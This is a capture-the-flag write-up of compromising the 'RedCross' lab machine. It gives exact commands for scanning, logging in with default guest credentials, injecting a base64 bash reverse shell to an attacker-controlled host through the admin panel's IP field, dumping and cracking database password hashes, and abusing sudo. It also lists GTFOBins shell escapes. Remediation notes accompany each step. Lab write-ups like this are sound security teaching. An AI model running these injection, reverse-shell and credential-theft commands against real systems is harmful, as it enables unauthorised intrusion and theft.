RedCross
Summary
I performed a full TCP port scan and discovered that two Apache virtual hosts — an intranet portal (intra.redcross.htb) and an IT administration panel (admin.redcross.htb) — both accepted the factory-default credential pair guest/guest. Authenticated access to the admin panel exposed a firewall rule-management feature that passed a caller-supplied IP-address value unsanitized into a backend shell command. Submitting a base64-encoded reverse shell as that value caused the server to execute it and call back to my listener, delivering a shell as the web-server process (www-data).
From that foothold, PHP source files in the web root revealed plaintext PostgreSQL credentials. Those credentials were used to connect to the local database instance and dump bcrypt-hashed passwords for system accounts, including perez2. The hash was cracked offline with a common wordlist, yielding the plaintext password.
SSH authentication as perez2 succeeded, and the account was found to hold unrestricted sudo rights — I used sudo to read both the user and root flags, completing full system compromise.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<a-password-you-choose>"Attack path — how the box was taken
Exact commands 3
nmap -Pn -p- --min-rate 2000 -T4 -sV $TARGETecho "$TARGET redcross.htb intra.redcross.htb admin.redcross.htb" | sudo tee -a /etc/hostsopenssl s_client -connect $TARGET:443 -servername redcross.htb </dev/null 2>/dev/null | openssl x509 -noout -text | grep -A5 'Subject Alternative'Exact commands 2
curl -sk -c intra.cookies -b intra.cookies -X POST 'https://intra.redcross.htb/pages/actions.php' -d 'user=guest&pass=guest&action=login' -D -curl -sk -c admin.cookies -b admin.cookies -X POST 'https://admin.redcross.htb/pages/actions.php' -d 'user=guest&pass=guest&action=login' -D -FixRemove factory-default accounts and enforce strong authentication on all web panelsCritical
Exact commands 4
nc -lvnp 4446PAYLOAD=$(echo -n "bash -i >& /dev/tcp/$ATTACKER_IP/4446 0>&1" | base64 -w0)curl -sk -b admin.cookies 'https://admin.redcross.htb/pages/actions.php' --data-urlencode 'action=allow' --data-urlencode "ip=1.2.3.4|echo ${PAYLOAD}|base64 -d|bash"id; whoami; hostname; pwdFixEliminate OS command injection by never concatenating user input into shell commandsCritical
Exact commands 4
find /var/www/html -name '*.php' | xargs grep -l 'pg_connect\|host=\|dbpass\|DB_PASS\|password' 2>/dev/nullgrep -E 'host|user|pass|dbname|connect' /var/www/html/admin/init.phppsql -h 127.0.0.1 -U <db_user> -d <db_name> -c '\dt'psql -h 127.0.0.1 -U <db_user> -d <db_name> -c 'SELECT username, passwd FROM users;'FixMove database credentials out of source files and never store system-account hashes in application databasesHigh
Exact commands 2
echo '<perez2_bcrypt_hash>' > hashes.txthashcat -m 3200 hashes.txt /usr/share/wordlists/rockyou.txt --forceFixEnforce strong, unique passwords for all system accounts and disable password-based SSH where possibleHigh
Exact commands 4
sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null perez2@$TARGETprintf '%s\n' "$PASSWORD" | sudo -S -lsshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o ConnectTimeout=8 perez2@$TARGET "printf '%s\n' '$PASSWORD' | sudo -S cat /home/penelope/user.txt"sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o ConnectTimeout=8 perez2@$TARGET "printf '%s\n' '$PASSWORD' | sudo -S cat /root/root.txt"FixRestrict sudo rights to the minimum commands each account legitimately requiresCritical
Attack patterns used
The transferable techniques behind this compromise.
Sudo Misconfiguration (GTFOBins)Linux · Privilege EscalationT1548.003
What it is
When a low-privileged user is allowed (via sudo -l) to run a specific binary as root, many binaries can be coerced into spawning a root shell or reading root-owned files. GTFOBins catalogs the escape for each binary — e.g. sudo perl -e 'exec "/bin/sh"', sudo vim -c ':!sh', sudo find . -exec /bin/sh \;.
Why it works
Admins grant narrow sudo rights assuming the binary is 'safe', but interpreters, editors, and many utilities have shell-out features. Remediate by avoiding sudo rules on interpreter-class binaries, using NOEXEC, and least-privilege review. Always run sudo -l first on a foothold.
Read more
Exposed services
| 22/tcp | ssh OpenSSH 7.9p1 Debian 10+deb10u3 (protocol 2.0) |
| 80/tcp | http Apache httpd 2.4.38 |
| 443/tcp | ssl/http Apache httpd 2.4.38 |
| 1025/tcp | NFS-or-IIS |